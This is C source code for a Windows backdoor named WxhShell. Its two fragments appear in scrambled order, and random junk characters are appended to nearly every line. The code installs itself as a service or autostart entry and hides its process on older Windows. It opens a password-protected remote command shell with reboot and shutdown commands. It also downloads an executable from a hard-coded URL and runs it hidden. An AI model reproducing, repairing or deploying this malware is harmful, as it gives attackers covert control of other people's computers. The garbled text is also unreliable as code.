} PROCESS_BASIC_INFORMATION; ~xZ)btf
5PHAd4=bJ
PROCNTQSIP NtQueryInformationProcess; !]f:dWSLB
{-c[w&q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !ImtnU}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eR1]<Z$W\
@n=FSn6c
HANDLE hProcess; VN4H+9E
PROCESS_BASIC_INFORMATION pbi; ( (mNB]sy
wmv/?g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BYDOTy/%nJ
if(NULL == hInst ) return 0; $uNYus^vS
Q5v_^O<!
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V,9UOC,Gn
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y6%O 9b
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -,xsUw4
_{gRCR)
if (!NtQueryInformationProcess) return 0; I'uRXvEr7
== i?lbj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l3/?,xn
if(!hProcess) return 0; /?8rj3
~_L_un.R
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;l b@o,R :
?<$DQ%bf
CloseHandle(hProcess); k!,&L$sG
hz+x)M`Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I%G6V
a@
if(hProcess==NULL) return 0; au1(.(
3m`y?Dd
HMODULE hMod; A=k{Rl{LA
char procName[255]; ?G!DYUK
unsigned long cbNeeded; :-.bXOB(
Co>=<\yi
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U,u\o@3A
ZA4vQDW
CloseHandle(hProcess); bc|DC,n?
<[GkhPfZ
if(strstr(procName,"services")) return 1; // 以服务启动 Yf(QU`w_
"Tm`V9
return 0; // 注册表启动 :u53zX[v
} ) crhF9 !4
h|1 /Q
(
// 主模块 5Y97?n+6
int StartWxhshell(LPSTR lpCmdLine) Cc,,e`
{ RoWGQney
SOCKET wsl; 5 eWGX
BOOL val=TRUE; c`&<"Us
int port=0; *<_8]C0>
struct sockaddr_in door; ebS>_jD
cA4xx^~
if(wscfg.ws_autoins) Install(); oUBn:Ir@
beYaQz/@W
port=atoi(lpCmdLine); *G#W],~0
ZK@ENfG
if(port<=0) port=wscfg.ws_port; h~
=UFE%'
+
>oA@z
WSADATA data; !8U\GR `
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q~=]_PMP
50.cMms
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *1KrI9i
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sc^TElic
door.sin_family = AF_INET; i7f/r.
door.sin_addr.s_addr = inet_addr("127.0.0.1"); +mN]VO*y
door.sin_port = htons(port); 0ZXG{Gp9S
IOsitMOX:
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hinz6k6!
closesocket(wsl); G_~w0r#
return 1; yb#NB)+E@
} S]3t{s#JW7
IgOo2N"^l
if(listen(wsl,2) == INVALID_SOCKET) { ~%QVjzMC
closesocket(wsl); bCF"4KXK
return 1; [s4lSGh
} .ns1;8
Wxhshell(wsl); TC4W7}}
WSACleanup(); SAt{At
54w..8'
return 0; N4Z%8:"pj
UHYnl]
} dw8Ce8W
2#:h.8
// 以NT服务方式启动 d3AOuVUf
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~JsTHE$F
{ !PI& y
DWORD status = 0; 8=H!&+aGh
DWORD specificError = 0xfffffff; }^;Tt-*k
Tt.wY=,K
serviceStatus.dwServiceType = SERVICE_WIN32; hGx)X64Mw
serviceStatus.dwCurrentState = SERVICE_START_PENDING; (8u.Xbdh
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V_?5 cwZ
serviceStatus.dwWin32ExitCode = 0;
`k/hC
serviceStatus.dwServiceSpecificExitCode = 0; O<Rm9tZ8
serviceStatus.dwCheckPoint = 0; LoQm&3/
serviceStatus.dwWaitHint = 0; R g7 O
{i)k# `
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hTZaI *
if (hServiceStatusHandle==0) return; y_:i'Ri.
vlAYKtl3]
status = GetLastError(); e.%`
tK3J
if (status!=NO_ERROR) 6u`E{$
{ TpLlbsd
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^<#08L;
serviceStatus.dwCheckPoint = 0; 7yLO<o?9w
serviceStatus.dwWaitHint = 0; 8S[`(]
)
serviceStatus.dwWin32ExitCode = status; "If]qX(w
serviceStatus.dwServiceSpecificExitCode = specificError; ({g7{tUy^H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q=[AP+
return; uI^E9r/hB
} =#||&1U$
)>$@cH
serviceStatus.dwCurrentState = SERVICE_RUNNING; mdW8RsR
serviceStatus.dwCheckPoint = 0; h\ema|
serviceStatus.dwWaitHint = 0; @bQf =N+
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |'xVU8
} z{w!yMp"
*P,dR]-m
// 处理NT服务事件,比如:启动、停止 s)ymm7?
VOID WINAPI NTServiceHandler(DWORD fdwControl) =^m,|j|d>4
{ c0.i
switch(fdwControl) 01VEz
8[\
{ fGDR<t3yiQ
case SERVICE_CONTROL_STOP: ^| L@f
serviceStatus.dwWin32ExitCode = 0; (5y+g?9d;
serviceStatus.dwCurrentState = SERVICE_STOPPED; *6oQW
serviceStatus.dwCheckPoint = 0; 3A'vq2beM
serviceStatus.dwWaitHint = 0; '`$z!rA
{ _Gv[ D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bLyU;
} \M-}(>Pfk
return; rnvKfTpZDU
case SERVICE_CONTROL_PAUSE: iO)FZ%?"
serviceStatus.dwCurrentState = SERVICE_PAUSED; @Omgk=6
break; / E~)xgPM<
case SERVICE_CONTROL_CONTINUE: zyyt`
serviceStatus.dwCurrentState = SERVICE_RUNNING; v|:2U8YREf
break; !PX`sIkT
case SERVICE_CONTROL_INTERROGATE: al<[iZ
break; 9Ml^\|
}; ^a&-GhX;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Te=[tx~x
} V3j1M?>
1oq5|2p
// 标准应用程序主函数 $Fx:w
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -I-u.!
{ +cS%b}O`$
LWQ.!;HY p
// 获取操作系统版本 kk_$j_0
OsIsNt=GetOsVer(); {[~cQgCI
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^.5`jdk
EHk(\1!V
// 从命令行安装 34ij5bko_)
if(strpbrk(lpCmdLine,"iI")) Install(); gFR9!=,/V%
j{00iA}
// 下载执行文件 nX,2jT;@L
if(wscfg.ws_downexe) { oG5:]/F
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d1YE$
WinExec(wscfg.ws_filenam,SW_HIDE); 3n{'}SYyz
} R%)ZhG*
*7.EL`8
if(!OsIsNt) { d~B]s
// 如果时win9x,隐藏进程并且设置为注册表启动 ?;1^8 c0
HideProc(); o4I&?d7;"
StartWxhshell(lpCmdLine); z8W@N8IqC
} )NG{iD{_]
else (#6E{@eq
if(StartFromService()) m/W0vPM1
// 以服务方式启动 Rv R,V
StartServiceCtrlDispatcher(DispatchTable); ?'F>DN
else bo^d!/;
// 普通方式启动 6")co9
StartWxhshell(lpCmdLine); gG;d+s1
N<bNJD}
return 0; E[N5vG<
} V_Owi5h
H]v"_!(\
tEEeek(!
a&yIH;-
=========================================== Ta;'f7Oz
b"x[+&%i
V. sIiE
HD"Pz}k4
jA ?tDAx`
1]eh0H
" V'vDXzk\
ISo{>@a-
#include <stdio.h> s':fv[%
#include <string.h> rN3i5.*/t
#include <windows.h> 0fc]RkHs"
#include <winsock2.h> 7/*a
#include <winsvc.h> UO-<~DgH
#include <urlmon.h> Op] L#<&T
W)rE_tw,|
#pragma comment (lib, "Ws2_32.lib") 2?; =TJo$
#pragma comment (lib, "urlmon.lib") CV<@Rgoa
iy&*5U
#define MAX_USER 100 // 最大客户端连接数 rSTc4m1R
#define BUF_SOCK 200 // sock buffer " bHeNWZ
#define KEY_BUFF 255 // 输入 buffer cp|&&q
|E+tQQr%'
#define REBOOT 0 // 重启 W?W vT`
T{
#define SHUTDOWN 1 // 关机 ]V9z)uz
J:M)gh~#
#define DEF_PORT 5000 // 监听端口 I"*;fdm
]s
lYr8m
#define REG_LEN 16 // 注册表键长度 m#[tY>Q[b
#define SVC_LEN 80 // NT服务名长度 z?~W]PWiZ
Ydv\a6
// 从dll定义API =6#tJgg8
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;9cBlthh
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9T*%CI
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F +e
J9
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {V&
2k9*
;0}8vs
// wxhshell配置信息 -"L)<J@gQ?
struct WSCFG { %I]?xe6
int ws_port; // 监听端口 f3h&K}x
char ws_passstr[REG_LEN]; // 口令 , WF)GS|7V
int ws_autoins; // 安装标记, 1=yes 0=no iR-MuDM
char ws_regname[REG_LEN]; // 注册表键名 !x9j~D'C`
char ws_svcname[REG_LEN]; // 服务名 H!dUQ
char ws_svcdisp[SVC_LEN]; // 服务显示名 Ed/@&52z0
char ws_svcdesc[SVC_LEN]; // 服务描述信息 HLMEB0zh^
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0`X%&
int ws_downexe; // 下载执行标记, 1=yes 0=no Zp|LCE"
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
b@J&jE~d
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l'~]8Wo1
)Qve[O
}; UXB[3SP
SU, t,i
// default Wxhshell configuration Qi^MfHW
struct WSCFG wscfg={DEF_PORT, w;$@ </
"xuhuanlingzhe", "AjtNL5
1, 7lpd$Y
"Wxhshell",
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"Wxhshell", 4%WV)lt
"WxhShell Service", dG{`Jk
"Wrsky Windows CmdShell Service", H3 _7a 9
"Please Input Your Password: ", 0|X!Uw-Q%_
1, OT7F#:2`
"http://www.wrsky.com/wxhshell.exe", Mj$dDtw
"Wxhshell.exe" ;_0)f
}; _t:cDXj
pt8X.f,iA
// 消息定义模块 zOq~?>Ms6
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tkdhT8_
char *msg_ws_prompt="\n\r? for help\n\r#>"; z;x`dOP
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `$`:PT\Zv4
char *msg_ws_ext="\n\rExit."; [~)i<V|qJ
char *msg_ws_end="\n\rQuit."; =K2Dxu_:
char *msg_ws_boot="\n\rReboot..."; xJ9_#$ngeM
char *msg_ws_poff="\n\rShutdown..."; -"5x? \.{m
char *msg_ws_down="\n\rSave to "; zTY|Z@:
(5d~0
char *msg_ws_err="\n\rErr!"; &)Z8Qu
char *msg_ws_ok="\n\rOK!"; 3m4?l
~
EU, 4qO
char ExeFile[MAX_PATH]; q{f%U.
int nUser = 0; vII&v+C
HANDLE handles[MAX_USER]; #;juZ*I
int OsIsNt; e#k9}n^+
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SERVICE_STATUS serviceStatus; .Gl&K|/{j
SERVICE_STATUS_HANDLE hServiceStatusHandle; K_nN|'R-
vnz.81OR
// 函数声明 eEJ8j_G
int Install(void); u0$7k9mE
int Uninstall(void); [p@NzS/
int DownloadFile(char *sURL, SOCKET wsh); {549&]/o
int Boot(int flag); w0~iGr}P
void HideProc(void); CzzG
int GetOsVer(void); `.%;|"xR
int Wxhshell(SOCKET wsl); U6X~]| o
void TalkWithClient(void *cs); nx=#QLi
int CmdShell(SOCKET sock); l{#m"S7J^
int StartFromService(void); )F? 57eh
int StartWxhshell(LPSTR lpCmdLine); H'I|tPs
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N(&FATZUW
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~<